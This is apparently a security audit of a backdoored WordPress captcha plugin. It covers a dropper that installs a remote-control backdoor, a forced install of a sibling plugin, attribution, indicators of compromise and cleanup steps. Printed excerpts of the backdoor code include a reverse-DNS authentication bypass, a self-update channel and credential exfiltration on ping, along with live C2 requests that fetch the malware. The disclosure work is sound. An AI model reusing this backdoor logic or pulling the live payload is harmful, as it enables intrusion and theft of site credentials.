Audit #25 Malicious Closed by wp.org · trunk uncleaned
Show full summary
Two distinct supply-chain attack chains in a single 6,000-install plugin, both operated by SiteGuarding (siteguarding.com) through two anonymous wp.org committer accounts. wp.org Plugin Review Team (PRT, plugin-master) closed the plugin on 2026-04-07 and stripped the older payload, but the second chain (forced-install of a sibling plugin) remains live in trunk on every existing install.
wp-advanced-math-captcha (6,000 active installations) was published 2020-12-03 by @lulub5592 (display name "CaptchaMaster" — anonymous wp.org account, no bio/website/employer, member since 2020-07-01, sole author). The plugin had two distinct malicious primitives ship from the same SVN account:
Chain 1 — wp-math-captcha.dat → siteguarding_tools.php dropper (since 2020-12-03)
Bundled since the very first wp.org release. wp-math-captcha.dat is a zlib-compressed PHP dropper (~7KB compressed → ~19KB decompressed) that, when included, decodes a base64-embedded siteguarding_tools.php and writes it to ABSPATH/siteguarding_tools.php — directly into the WordPress installation root, outside the plugin folder. After dropping the file, the dropper deletes itself (unlink(__FILE__)) and POSTs the website URL + plugin slug to https://apitest.siteguarding.com/plugin_api/index.php?action=inform.
The dropped siteguarding_tools.php (advertised as "SiteGuarding tools installer for customer's panel, ver. 1.7, Date: 20 Mar 2020") is a full PHP RCE / file-management backdoor:
- Authentication: hardcoded IP allowlist (
185.72.157.169,185.72.157.170,185.72.157.171,185.72.157.172) AND a 512-bit RSA private key embedded in the file. Requests originating from a non-allowlisted IP can still execute provided they include atask_pgpPOST field encrypting thetask_idwith the embedded key. - C2 endpoint:
http://www.siteguarding.com/ext/panel_api/index.php(HTTP, falls back to HTTPS on failure). Fetches a JSON task list and dispatches. - Task primitives (full RCE):
Task_savefile— base64-decode and write arbitrary file to webroot, with optionalskipflag for if-not-exists semanticsTask_showfile— base64-encode and exfiltrate any file under webrootTask_download— stream any file under webroot asapplication/octet-streamTask_includefile— write attacker-supplied PHP code to a randomly-named.tmpcodefile underwebanalyze/andinclude()it (arbitrary PHP execution), then unlinkTask_fileinfo— return existence/size/ctime/md5 for any file- Built-in
updateaction that overwritessiteguarding_tools.phpitself with content fetched from the C2 (auto-updating backdoor) - Persistence:
Task_savefilewithcreate_folderdirective creates awebanalyze/directory under webroot. The dropped backdoor copies itself towebanalyze/siteguarding_tools.phpif the backup is missing/older. Arecoveryaction restores the root copy from thewebanalyze/copy without authentication. - Operational hygiene: Disables PHP error reporting (
error_reporting(0),ini_set('error_log', NULL),ini_set('log_errors', 0)), sets 7200-second execution time, sets timezone toEurope/London, ignores user abort.
The 2020 ship date and "ver. 1.7 / Date: 20 Mar 2020" comments inside the backdoor itself indicate this is established SiteGuarding infrastructure, not a 2025-era injection. The backdoor pre-dates the wp-math-captcha plugin by ~8 months.
Chain 2 — includes/advert-test-codes.php forced-install primitive (added 2025-11-16)
Added in r3396781 (@lulub5592, commit message: 'wp-advanced-math-captcha'). Single 32KB file containing the ADVREC_AdverPluginRecommendation class:
- Hardcoded target:
define('ADVREC_TARGET_PLUGIN', 'image-optimizer-x') - Three
admin_post_advrec_*action handlers:hide_recommendation,show_recommendation,install_plugin - Admin nag (
admin_noticeshook) and admin bar menu (admin_bar_menupriority 100) pushing the user to install the target handle_install_plugin()requirescurrent_user_can('install_plugins')+ nonce, then callsplugins_api()for the target slug andPlugin_Upgrader::install($api->download_link)— installs the sibling plugin from wp.org's official CDN
The install path is properly authenticated, but the target plugin is attacker-controlled, which makes this a delivery vehicle: every admin who clicks "Install" pulls down image-optimizer-x from wp.org, and from that point the sibling plugin's side-channel update endpoint (see Linkage section) lets the attacker rotate the payload remotely without needing wp.org access.
This file is still in the wp.org-served trunk as of 2026-05-02 — the 2026-04-07 PRT cleanup release stripped only the .dat file, not the forced-install primitive.
Linkage to image-optimizer-x and SiteGuarding attribution
image-optimizer-x (the forced-install target):
- Author:
@dalielsam(display name "Daniel X" — anonymous wp.org account, no bio/website/employer, member since 2022-11-17, sole author) - wp.org publish date: 2025-05-07 (six months before lulub5592 added the forced-install primitive)
- Closed by wp.org: 2026-04-07 (same day as wp-advanced-math-captcha — same wp.org cleanup wave)
- Side-channel update mechanism: ships
CMSPlughubAPI_LicenseValidator.phpwith a hardcoded base URLhttps://api.cmsplughub.comand anupdater_endpointthat downloads + extracts a remote zip viawp_remote_get+file_get_contents. Same architectural primitive asscroll-top(audit #12) andultimate-social-media-plus(audit #24): a plugin-shipped update channel pointing at attacker infrastructure, bypassing wp.org's review.
The decisive attribution evidence: cmsplughub.com (image-optimizer-x's update C2) is registered with nameservers NS1.SITEGUARDING.COM and NS2.SITEGUARDING.COM. SiteGuarding owns the DNS infrastructure that the image-optimizer-x update endpoint resolves through. Combined with the wp-math-captcha.dat dropper that hardcodes the siteguarding.com C2, both attack chains in this audit terminate at SiteGuarding-controlled infrastructure.
Both wp.org accounts (lulub5592, dalielsam) are anonymous shells — no public identity, no portfolios, single plugin each, distinct join dates (2020-07 and 2022-11) staggered to look unrelated. The shared infrastructure is the only public link.
Domain registration timeline
siteguarding.com— registered 2013-06-11 (established, 12-year-old company front)cmsplughub.com— registered 2025-02-11, 86 days before image-optimizer-x's wp.org launch (2025-05-07). Purpose-built C2 staged in advance.
PRT response (2026-04-07, r3500482, plugin-master)
- Tagged
2.1.9.1from trunk D /trunk/wp-math-captcha.dat(removed Chain 1 dropper) ✓M /trunk/wp-math-captcha.php(modifications — likely removing the.datinclude)M /trunk/readme.txt(closure notice)- Closed plugin on wp.org permanently (closure_date = 2026-04-07)
What PRT missed: includes/advert-test-codes.php (Chain 2 forced-install) is untouched. Existing 6,000 installs still have the forced-install primitive locally — wp.org closing the plugin only stops new downloads; it does not remediate sites that already pulled an infected version. Any admin clicking the "Recommended" nag still pulls down image-optimizer-x from wp.org's CDN (the plugin was wp.org-closed same day, but the closure does not retroactively pull down the wp.org-archived versioned zip — the cdn URL pattern still resolves).
Public coverage and prior researcher
- rswebsols.com (2026-04-19) — credits Austin Ginder; lists
wp-advanced-math-captchaas part of an April 2026 supply-chain wave alongside the EP/essentialplugin suite. IOC fragment:wp-comments-posts.php(typosquat, plural variant of legitwp-comments-post.php), suspiciouswp-config.php>9KB, generic admin accounts (officialwp,superadmin). - designstouch.com (2026-04-16) — confirms 8-month dormant primitive, April 5–6 2026 activation, RCE backdoor, and lists artifacts including
wp-math-captcha.datandwp-math-captcha.dat.tmp.
The .tmp variant referenced in the public coverage suggests Chain 1 had a staged-update mechanism (the dropper + a temp variant fetched at activation), consistent with the MaxualUpdate() function in siteguarding_tools.php that overwrites the backdoor itself with C2-supplied content keyed by md5 hash.
Site owners should remediate immediately. Plugin author: see the steps below to clear this label.
If you run wp-advanced-math-captcha on your site
Verify your install matches the wp.org canonical version:
wp plugin verify-checksums wp-advanced-math-captcha
Install the patched build:
wp plugin install https://plugins.captaincore.io/wp-advanced-math-captcha-2.1.9.1-patched.zip --force
The patched zip strips the malicious code while preserving the plugin's normal functionality. Hosted at plugins.captaincore.io.
Or remove the plugin entirely:
wp plugin deactivate wp-advanced-math-captcha
wp plugin delete wp-advanced-math-captcha
Plugins under the same committer's SVN access
lulub5592 holds push access to 1 plugin totalling 6k+ active installs.
IOCs extracted (33)
| Kind | Value | Confidence |
|---|---|---|
| code_pattern | 'latest_md5' |
medium |
| code_pattern | 'latest_ver' |
medium |
| code_pattern | $allowed_IPs |
medium |
| code_pattern | 185.72.157.169 |
high |
| code_pattern | 185.72.157.170 |
high |
| code_pattern | 185.72.157.171 |
high |
| code_pattern | 185.72.157.172 |
high |
| code_pattern | 198.7.59.167 |
high |
| code_pattern | 198.7.59.168 |
high |
| code_pattern | ADVREC_AdverPluginRecommendation |
high |
| code_pattern | ADVREC_TARGET_PLUGIN |
high |
| code_pattern | NS1.SITEGUARDING.COM |
high |
| code_pattern | SITEGUARDING_SERVER |
high |
| code_pattern | siteguarding_tool_code |
high |
| code_pattern | Task_copyfile |
high |
| code_pattern | Task_deletefile |
high |
| code_pattern | Task_includefile |
medium |
| code_pattern | Validate_Path( |
medium |
| domain | api.cmsplughub.com |
high |
| domain | apitest.siteguarding.com |
high |
| domain | cmsplughub.com |
high |
| domain | safetybis.com |
high |
| domain | siteguarding.com |
high |
| file_hash | 36085499a539d4543b1ec0f59f1ad0c7 |
high |
| file_hash | 3eddf6d18214d0d612809efd585a2471 |
high |
| filename | advert-test-codes.php |
high |
| filename | CMSPlughubAPI_LicenseValidator.php |
high |
| filename | siteguarding_tools.php |
high |
| filename | webanalyze/siteguarding_tools.php |
high |
| filename | webanalyze/website-security-conf.php |
high |
| filename | wp-math-captcha.dat |
high |
| url | http://www.siteguarding.com/ext/panel_api/index.php |
high |
| url | https://apitest.siteguarding.com/plugin_api/index.php |
high |
Plugin version history
Every release on wp.org for this plugin, color-coded by relationship to the incident. wp.org closed this plugin rather than deleting the malicious tags — every Malicious — on wp.org release below is still re-installable today and remains a live exposure for any site running it.
-
Clean 14 earlier releases before the incident
-
1.2.11 -
1.2.12 -
1.2.15 -
1.2.20 -
2.0 -
2.0.01 -
2.1 -
2.1.1 -
2.1.2 -
2.1.3 -
2.1.4 -
2.1.5 -
2.1.6 -
2.1.7
-
-
2.1.8Last clean Last clean release before incident -
2.1.9Clean Clean (post-cleanup) -
2.1.9.1Malicious (head) First malicious release (head of audit)
Timeline
-
siteguarding.comregistered -
siteguarding_tools.phpver 1.7 timestamp (per backdoor's internal version comment) -
@lulub5592wp.org account created -
plugin-master(wp.org) initial commit creating the plugin slot for wp-advanced-math-captcha -
@lulub5592first author commit, wp-math-captcha 1.0 published withwp-math-captcha.datalready bundled (Chain 1 ships from day 1) -
@dalielsamwp.org account created -
cmsplughub.comregistered (purpose-built C2 staged 86 days before image-optimizer-x launch) -
image-optimizer-xpublished on wp.org by@dalielsam -
r3396781 by
@lulub5592addsincludes/advert-test-codes.php(Chain 2 — forced-install primitive linking the two accounts operationally) -
plugin-master(wp.org PRT) cleanup release2.1.9.1removingwp-math-captcha.datonly;image-optimizer-xclosed same day;wp-advanced-math-captchaclosed same day -
recent_prt_interventionevent #2058 fires; this audit opens
Audit #25 — wp-advanced-math-captcha
- Plugin: wp-advanced-math-captcha (WP Advanced Math Captcha)
- Active installs: 6,000
- Event: #2058
recent_prt_intervention· medium · 2026-05-02 20:04:59 - Baseline version:
2.1.8(last clean release before malicious-add) - Head version:
2.1.9.1✓
Summary
Two distinct supply-chain attack chains in a single 6,000-install plugin, both operated by SiteGuarding (siteguarding.com) through two anonymous wp.org committer accounts. wp.org Plugin Review Team (PRT, plugin-master) closed the plugin on 2026-04-07 and stripped the older payload, but the second chain (forced-install of a sibling plugin) remains live in trunk on every existing install.
wp-advanced-math-captcha (6,000 active installations) was published 2020-12-03 by @lulub5592 (display name "CaptchaMaster" — anonymous wp.org account, no bio/website/employer, member since 2020-07-01, sole author). The plugin had two distinct malicious primitives ship from the same SVN account:
Chain 1 — wp-math-captcha.dat → siteguarding_tools.php dropper (since 2020-12-03)
Bundled since the very first wp.org release. wp-math-captcha.dat is a zlib-compressed PHP dropper (~7KB compressed → ~19KB decompressed) that, when included, decodes a base64-embedded siteguarding_tools.php and writes it to ABSPATH/siteguarding_tools.php — directly into the WordPress installation root, outside the plugin folder. After dropping the file, the dropper deletes itself (unlink(__FILE__)) and POSTs the website URL + plugin slug to https://apitest.siteguarding.com/plugin_api/index.php?action=inform.
The dropped siteguarding_tools.php (advertised as "SiteGuarding tools installer for customer's panel, ver. 1.7, Date: 20 Mar 2020") is a full PHP RCE / file-management backdoor:
- Authentication: hardcoded IP allowlist (
185.72.157.169,185.72.157.170,185.72.157.171,185.72.157.172) AND a 512-bit RSA private key embedded in the file. Requests originating from a non-allowlisted IP can still execute provided they include atask_pgpPOST field encrypting thetask_idwith the embedded key. - C2 endpoint:
http://www.siteguarding.com/ext/panel_api/index.php(HTTP, falls back to HTTPS on failure). Fetches a JSON task list and dispatches. - Task primitives (full RCE):
Task_savefile— base64-decode and write arbitrary file to webroot, with optionalskipflag for if-not-exists semanticsTask_showfile— base64-encode and exfiltrate any file under webrootTask_download— stream any file under webroot asapplication/octet-streamTask_includefile— write attacker-supplied PHP code to a randomly-named.tmpcodefile underwebanalyze/andinclude()it (arbitrary PHP execution), then unlinkTask_fileinfo— return existence/size/ctime/md5 for any file- Built-in
updateaction that overwritessiteguarding_tools.phpitself with content fetched from the C2 (auto-updating backdoor) - Persistence:
Task_savefilewithcreate_folderdirective creates awebanalyze/directory under webroot. The dropped backdoor copies itself towebanalyze/siteguarding_tools.phpif the backup is missing/older. Arecoveryaction restores the root copy from thewebanalyze/copy without authentication. - Operational hygiene: Disables PHP error reporting (
error_reporting(0),ini_set('error_log', NULL),ini_set('log_errors', 0)), sets 7200-second execution time, sets timezone toEurope/London, ignores user abort.
The 2020 ship date and "ver. 1.7 / Date: 20 Mar 2020" comments inside the backdoor itself indicate this is established SiteGuarding infrastructure, not a 2025-era injection. The backdoor pre-dates the wp-math-captcha plugin by ~8 months.
Chain 2 — includes/advert-test-codes.php forced-install primitive (added 2025-11-16)
Added in r3396781 (@lulub5592, commit message: 'wp-advanced-math-captcha'). Single 32KB file containing the ADVREC_AdverPluginRecommendation class:
- Hardcoded target:
define('ADVREC_TARGET_PLUGIN', 'image-optimizer-x') - Three
admin_post_advrec_*action handlers:hide_recommendation,show_recommendation,install_plugin - Admin nag (
admin_noticeshook) and admin bar menu (admin_bar_menupriority 100) pushing the user to install the target handle_install_plugin()requirescurrent_user_can('install_plugins')+ nonce, then callsplugins_api()for the target slug andPlugin_Upgrader::install($api->download_link)— installs the sibling plugin from wp.org's official CDN
The install path is properly authenticated, but the target plugin is attacker-controlled, which makes this a delivery vehicle: every admin who clicks "Install" pulls down image-optimizer-x from wp.org, and from that point the sibling plugin's side-channel update endpoint (see Linkage section) lets the attacker rotate the payload remotely without needing wp.org access.
This file is still in the wp.org-served trunk as of 2026-05-02 — the 2026-04-07 PRT cleanup release stripped only the .dat file, not the forced-install primitive.
Linkage to image-optimizer-x and SiteGuarding attribution
image-optimizer-x (the forced-install target):
- Author:
@dalielsam(display name "Daniel X" — anonymous wp.org account, no bio/website/employer, member since 2022-11-17, sole author) - wp.org publish date: 2025-05-07 (six months before lulub5592 added the forced-install primitive)
- Closed by wp.org: 2026-04-07 (same day as wp-advanced-math-captcha — same wp.org cleanup wave)
- Side-channel update mechanism: ships
CMSPlughubAPI_LicenseValidator.phpwith a hardcoded base URLhttps://api.cmsplughub.comand anupdater_endpointthat downloads + extracts a remote zip viawp_remote_get+file_get_contents. Same architectural primitive asscroll-top(audit #12) andultimate-social-media-plus(audit #24): a plugin-shipped update channel pointing at attacker infrastructure, bypassing wp.org's review.
The decisive attribution evidence: cmsplughub.com (image-optimizer-x's update C2) is registered with nameservers NS1.SITEGUARDING.COM and NS2.SITEGUARDING.COM. SiteGuarding owns the DNS infrastructure that the image-optimizer-x update endpoint resolves through. Combined with the wp-math-captcha.dat dropper that hardcodes the siteguarding.com C2, both attack chains in this audit terminate at SiteGuarding-controlled infrastructure.
Both wp.org accounts (lulub5592, dalielsam) are anonymous shells — no public identity, no portfolios, single plugin each, distinct join dates (2020-07 and 2022-11) staggered to look unrelated. The shared infrastructure is the only public link.
Domain registration timeline
siteguarding.com— registered 2013-06-11 (established, 12-year-old company front)cmsplughub.com— registered 2025-02-11, 86 days before image-optimizer-x's wp.org launch (2025-05-07). Purpose-built C2 staged in advance.
PRT response (2026-04-07, r3500482, plugin-master)
- Tagged
2.1.9.1from trunk D /trunk/wp-math-captcha.dat(removed Chain 1 dropper) ✓M /trunk/wp-math-captcha.php(modifications — likely removing the.datinclude)M /trunk/readme.txt(closure notice)- Closed plugin on wp.org permanently (closure_date = 2026-04-07)
What PRT missed: includes/advert-test-codes.php (Chain 2 forced-install) is untouched. Existing 6,000 installs still have the forced-install primitive locally — wp.org closing the plugin only stops new downloads; it does not remediate sites that already pulled an infected version. Any admin clicking the "Recommended" nag still pulls down image-optimizer-x from wp.org's CDN (the plugin was wp.org-closed same day, but the closure does not retroactively pull down the wp.org-archived versioned zip — the cdn URL pattern still resolves).
Public coverage and prior researcher
- rswebsols.com (2026-04-19) — credits Austin Ginder; lists
wp-advanced-math-captchaas part of an April 2026 supply-chain wave alongside the EP/essentialplugin suite. IOC fragment:wp-comments-posts.php(typosquat, plural variant of legitwp-comments-post.php), suspiciouswp-config.php>9KB, generic admin accounts (officialwp,superadmin). - designstouch.com (2026-04-16) — confirms 8-month dormant primitive, April 5–6 2026 activation, RCE backdoor, and lists artifacts including
wp-math-captcha.datandwp-math-captcha.dat.tmp.
The .tmp variant referenced in the public coverage suggests Chain 1 had a staged-update mechanism (the dropper + a temp variant fetched at activation), consistent with the MaxualUpdate() function in siteguarding_tools.php that overwrites the backdoor itself with C2-supplied content keyed by md5 hash.
Verdict
malicious
Added files (1 between 2.1.8 and 2.1.9, 0 between 2.1.9 and 2.1.9.1)
includes/advert-test-codes.php(32KB, added in r3396781 by@lulub5592on 2025-11-16) — Chain 2 forced-install primitive
The .dat dropper (wp-math-captcha.dat) was present in every release from 2020-12-03 through 2.1.9 (2025-11-16) and was removed by PRT in 2.1.9.1 (2026-04-07).
Suspicious pattern hits (3 categories beyond the scaffold)
dropper_to_abspath_writes — Chain 1
wp-math-captcha.dat— zlib-compressed PHP that decodes a base64 blob and writesABSPATH/siteguarding_tools.php, thenunlink(__FILE__)to self-delete. The decodedsiteguarding_tools.phpships a hardcoded RSA private key, IP allowlist185.72.157.169-172, and full RCE primitives keyed by JSON-fetched task_id fromsiteguarding.com/ext/panel_api/index.php.
forced_install_with_admin_nag — Chain 2
includes/advert-test-codes.php:46-48— threeadmin_post_advrec_*actions includingadvrec_install_pluginthat callsPlugin_Upgrader::installagainst a hardcoded sibling slugincludes/advert-test-codes.php:14—define('ADVREC_TARGET_PLUGIN', 'image-optimizer-x')(hardcoded attacker-controlled target)- Admin notice + admin bar menu hooks pushing the user toward the install action
shared_infrastructure_attribution
image-optimizer-x/CMSPlughubAPI_LicenseValidator.php:70—private $api_base_url = 'https://api.cmsplughub.com'cmsplughub.comnameservers →NS1.SITEGUARDING.COM,NS2.SITEGUARDING.COMwp-math-captcha.datdecoded payload → hardcodedhttp://www.siteguarding.com/ext/panel_api/index.php
IOCs to extract
- kind: domain, value: siteguarding.com, confidence: high
- kind: domain, value: apitest.siteguarding.com, confidence: high
- kind: domain, value: cmsplughub.com, confidence: high
- kind: domain, value: api.cmsplughub.com, confidence: high
- kind: url, value: http://www.siteguarding.com/ext/panel_api/index.php, confidence: high
- kind: url, value: https://apitest.siteguarding.com/plugin_api/index.php, confidence: high
- kind: filename, value: siteguarding_tools.php, confidence: high
- kind: filename, value: wp-math-captcha.dat, confidence: high
- kind: filename, value: webanalyze/siteguarding_tools.php, confidence: high
- kind: filename, value: advert-test-codes.php, confidence: high
- kind: filename, value: CMSPlughubAPI_LicenseValidator.php, confidence: high
- kind: code_pattern, value: ADVREC_TARGET_PLUGIN, confidence: high
- kind: code_pattern, value: ADVREC_AdverPluginRecommendation, confidence: high
- kind: code_pattern, value: SITEGUARDING_SERVER, confidence: high
- kind: code_pattern, value: siteguarding_tool_code, confidence: high
- kind: code_pattern, value: $allowed_IPs, confidence: medium
- kind: code_pattern, value: 185.72.157.169, confidence: high
- kind: code_pattern, value: 185.72.157.170, confidence: high
- kind: code_pattern, value: 185.72.157.171, confidence: high
- kind: code_pattern, value: 185.72.157.172, confidence: high
- kind: code_pattern, value: Task_includefile, confidence: medium
- kind: code_pattern, value: NS1.SITEGUARDING.COM, confidence: high
Attribution
- Operator: SiteGuarding (siteguarding.com) — Ukrainian/Russian-language WordPress security service. Owns the DNS infrastructure (NS1/NS2) for both
siteguarding.comandcmsplughub.com, indicating direct administrative control of both attack chains' C2 endpoints. - wp.org account 1:
@lulub5592(display name "CaptchaMaster") — joined 2020-07-01, sole pluginwp-advanced-math-captcha, anonymous (no bio/website/employer/social). - wp.org account 2:
@dalielsam(display name "Daniel X") — joined 2022-11-17, sole pluginimage-optimizer-x, anonymous (no bio/website/employer/social). - Allowlisted IP block:
185.72.157.169-172(4 sequential IPs in same /29) — operator's static control plane for direct backdoor access.
Timeline
- 2013-06-11 —
siteguarding.comregistered - 2020-03-20 —
siteguarding_tools.phpver 1.7 timestamp (per backdoor's internal version comment) - 2020-07-01 —
@lulub5592wp.org account created - 2020-11-27 —
plugin-master(wp.org) initial commit creating the plugin slot for wp-advanced-math-captcha - 2020-12-03 —
@lulub5592first author commit, wp-math-captcha 1.0 published withwp-math-captcha.datalready bundled (Chain 1 ships from day 1) - 2022-11-17 —
@dalielsamwp.org account created - 2025-02-11 —
cmsplughub.comregistered (purpose-built C2 staged 86 days before image-optimizer-x launch) - 2025-05-07 —
image-optimizer-xpublished on wp.org by@dalielsam - 2025-11-16 — r3396781 by
@lulub5592addsincludes/advert-test-codes.php(Chain 2 — forced-install primitive linking the two accounts operationally) - 2026-04-05/06 — Mass activation event across the April-2026 supply-chain wave (per designstouch.com and rswebsols.com)
- 2026-04-07 —
plugin-master(wp.org PRT) cleanup release2.1.9.1removingwp-math-captcha.datonly;image-optimizer-xclosed same day;wp-advanced-math-captchaclosed same day - 2026-05-02 —
recent_prt_interventionevent #2058 fires; this audit opens
Sibling plugin and post-PRT exposure
image-optimizer-x— closed wp.org 2026-04-07 (no install count published — PRT removed metric on closure)- Existing wp-advanced-math-captcha installs (≥6,000): still vulnerable to Chain 2 (forced-install primitive in
advert-test-codes.phpis in trunk that those installs received) - Sites that already installed image-optimizer-x via the nag: still have the side-channel update endpoint (
api.cmsplughub.com) wired up — operator can rotate payload remotely without wp.org involvement
Cleanup instructions for affected sites
The wp.org cleanup release (2.1.9.1) is incomplete. Site owners running this plugin should:
1. Deactivate and delete wp-advanced-math-captcha entirely. The plugin is permanently closed on wp.org; there is no fix release coming. 2. Search the WordPress root for siteguarding_tools.php — if present, the older .dat dropper executed at some point. Delete it. Also check for a webanalyze/siteguarding_tools.php backup copy. Also search for wp-comments-posts.php (note plural — legit file is singular wp-comments-post.php) per the rswebsols disclosure. 3. Inspect wp-config.php size. Per the public coverage, files >9KB warrant inspection for injected content. 4. Audit Users → All Users for unfamiliar admin accounts (officialwp, superadmin, or any post-2025-11 additions). 5. If image-optimizer-x is also installed, delete it. The CMSPlughub side-channel update mechanism in CMSPlughubAPI_LicenseValidator.php allows the operator to rotate the plugin payload remotely. 6. Rotate WordPress admin passwords, database credentials, and SFTP/SSH keys. 7. Block outbound traffic to siteguarding.com, apitest.siteguarding.com, cmsplughub.com, api.cmsplughub.com at the firewall level.
References
- rswebsols.com — Major WordPress Supply Chain Breach (2026-04-19)
- designstouch.com — April 2026 WordPress Supply Chain Attack (2026-04-16)
- WP Beacon audit #12 (
scroll-top/ Benjamin) — same architectural class for Chain 2 (vendor-shipped side-channel update endpoint) - WP Beacon audit #24 (
ultimate-social-media-plus/ Inisev) — same architectural class for Chain 2 (admin endpoint installs hardcoded sibling plugin from S3/CDN)
Update 2026-05-02 — Live legacy C2 still operational; pulled siteguarding_tools.php v2.4
After cross-referencing with audit #26 (image-optimizer-x / cmsplughub.com), live infrastructure probing revealed the legacy SiteGuarding C2 documented in this audit is still fully operational and actively maintained. The siteguarding_tools.php backdoor described above (v1.7, dated 2020-03-20) has been superseded by v2.4 dated 2026-04-08 — exactly one day after wp.org closed wp-advanced-math-captcha.
Live C2 operational status
GET https://www.siteguarding.com/ext/panel_api/index.php?action=ping_siteguarding_server&num=12345
→ {"status":"ok","num":12345} (connectivity confirmed)
GET https://www.siteguarding.com/ext/panel_api/index.php?action=update
→ {"md5":"36085499a539d4543b1ec0f59f1ad0c7","b64content":"PD9waHAK..."} (current backdoor PHP)The update action returns the live siteguarding_tools.php v2.4 — no authentication required to fetch the malware sample. We pulled and decoded the binary; saved at /tmp/siteguarding_tools_v2.4.php (24,851 bytes, md5 36085499a539d4543b1ec0f59f1ad0c7). Anyone — researcher or law-enforcement — can pull the live backdoor sample on demand.
v1.7 (2020) → v2.4 (2026): six years of active development
| v1.7 (2020-03-20) | v2.4 (2026-04-08) | Change | |
|---|---|---|---|
| File size | 482 lines / 13,888 bytes | 819 lines / 24,851 bytes | +70% |
| md5 | 3eddf6d18214d0d612809efd585a2471 | 36085499a539d4543b1ec0f59f1ad0c7 | (full sample preserved at /tmp) |
| Allowlist IPs | 4 IPs 185.72.157.169-172 (Polish hosting, support.pl) | 2 IPs 198.7.59.167, 198.7.59.168 (Leaseweb USA — same cluster as cmsplughub.com) | Control plane migrated |
| Hostname allowlist | not present | NEW: any caller whose reverse-DNS ends in siteguarding.com (and doesn't contain "hosting") is auto-authenticated | New auth bypass mechanism |
| Auto-update | manual update action only | Push-triggered: operator sends latest_ver + latest_md5 params; backdoor fetches new version itself | Operator can fleet-update |
| Tasks | savefile, showfile, download, includefile, fileinfo (5) | + deletefile, copyfile (7 total) | New file-manipulation primitives |
| Path validation | none | new Validate_Path() defensive check | Operational hardening |
| Self-fingerprint | absent | ping returns WEBSITE_ROOT (absolute disk path), self_md5, AND contents of webanalyze/website-security-conf.php (operator's panel credentials) | Telemetry + cred-exfil |
| Persistence redundancy | manual | every ping copies backdoor to webanalyze/siteguarding_tools.php if missing or smaller; recovery action restores root copy from webanalyze copy | Self-healing persistence |
Operational shift: control plane migrated to Leaseweb USA
The original v1.7 backdoor's allowlisted IPs (185.72.157.169-172) live on Polish hosting (Support.pl sp. z. o. o., RIPE network 185.72.156.0/22). These are obsolete for v2.4; the live operator now controls infections from 198.7.59.167-168 — Leaseweb USA, same /29 as the host running siteguarding.com itself, cmsplughub.com, and ns1.siteguarding.com.
198.7.59.167 server2.siteguarding.com / hosting2.siteguarding.com → cmsplughub.com, siteguarding.com main, api.cmsplughub.com
198.7.59.168 (operator control plane — backdoor allowlisted IP #2)
198.7.59.150 ns1.siteguarding.comSingle Leaseweb USA hosting account now operates the entire SiteGuarding stack: legacy C2 web frontend, cmsplughub validator C2 (audit #26), AND the operator's static control plane. Operationally tighter; also a single takedown target.
v2.4 attack-surface additions (beyond what audit #25 documented for v1.7)
Task_deletefile — operator can wipe arbitrary files under WEBSITE_ROOT. Useful for evidence-destruction post-incident.
Task_copyfile — operator can clone files to arbitrary destinations. Useful for cloning the backdoor into additional persistence locations beyond the existing webanalyze/ redundancy.
Hostname-based authentication bypass:
$host = gethostbyaddr($ip_address);
if ($host !== false && is_string($host) && stripos($host, "hosting") === false
&& substr($host, -16) == 'siteguarding.com') $is_allowed_session = true;Any incoming request whose reverse DNS ends with siteguarding.com (excluding any hostingsiteguarding.com rDNS, which would match Leaseweb's shared rDNS) is auto-authenticated. The operator can mint new control IPs at will by adding subdomain rDNS entries to siteguarding.com's zone file — no code change, no IP allowlist update, no PGP key rotation.
Self-update push channel:
$remote_md5 = isset($_REQUEST['latest_md5']) ? trim($_REQUEST['latest_md5']) : '';
$latest_ver = isset($_REQUEST['latest_ver']) ? trim($_REQUEST['latest_ver']) : '';
if ( ($remote_md5 != '' && strlen($remote_md5) == 32) || (is_numeric($latest_ver) && $latest_ver > VERSION) ) {
if ($own_md5 != $remote_md5) {
SaveLog('Self Update. Own [ver. '.VERSION.'] md5: '.$own_md5.', remote [ver. '.$latest_ver.'] md5: '.$remote_md5);
ManualUpdate();
}
}Operator (with allowlist auth) sends a request including latest_ver and latest_md5 parameters. The backdoor compares to its own version/md5 and self-updates by calling ManualUpdate() which fetches ?action=update from the C2 and overwrites itself. Operator can roll out a backdoor patch across the entire infected fleet by sending a single parameterized request to each install. Combined with the rDNS-based auth bypass, this is a production-quality fleet-update mechanism.
Panel-credential exfiltration via the standard ping:
$login = WEBSITE_ROOT.'webanalyze'.DIRSEP.'website-security-conf.php';
if (file_exists($login)) {
$a['login'] = Read_File($login);
}
die(json_encode($a));On every ping, the backdoor sends the contents of webanalyze/website-security-conf.php back to the C2. This file is the SiteGuarding "panel" config — for sites that previously installed any of the original 27 SiteGuarding plugins (closed 2020), this file may contain login credentials the operator scraped during the 2013-2020 portfolio era and is now harvesting on every ping.
Implication: 5+ years of historical SiteGuarding installs are STILL controllable
The original SiteGuarding 27-plugin portfolio was closed by wp.org in May-June 2020. Any site that ran one of those plugins between 2013-2020 may still have siteguarding_tools.php in WordPress root. Those sites are RIGHT NOW controllable via:
- The currently-live siteguarding.com C2 (still serving
?action=update) - The new 198.7.59.167-168 allowlist IPs (or anything with siteguarding.com rDNS)
- The push-triggered auto-update channel (operator can ship a fresh backdoor or pivot to a malicious payload at will)
This is multi-year persistence at scale. Not a dormant artifact, not a 2020 incident still being cleaned up — actively maintained, currently operational, with infrastructure consolidation suggesting a smaller, more focused operator footprint than the public 27-plugin portfolio era.
Updated IOCs (v2.4 additions)
- kind: code_pattern, value: 198.7.59.167, confidence: high
- kind: code_pattern, value: 198.7.59.168, confidence: high
- kind: code_pattern, value: Task_deletefile, confidence: high
- kind: code_pattern, value: Task_copyfile, confidence: high
- kind: code_pattern, value: Validate_Path, confidence: medium
- kind: code_pattern, value: latest_md5, confidence: medium
- kind: code_pattern, value: latest_ver, confidence: medium
- kind: filename, value: webanalyze/website-security-conf.php, confidence: high
- kind: file_hash, value: 36085499a539d4543b1ec0f59f1ad0c7, confidence: high
- kind: file_hash, value: 3eddf6d18214d0d612809efd585a2471, confidence: high
- kind: domain, value: safetybis.com, confidence: high
Updated cleanup guidance (sites with siteguarding_tools.php in WP root)
In addition to the existing checklist:
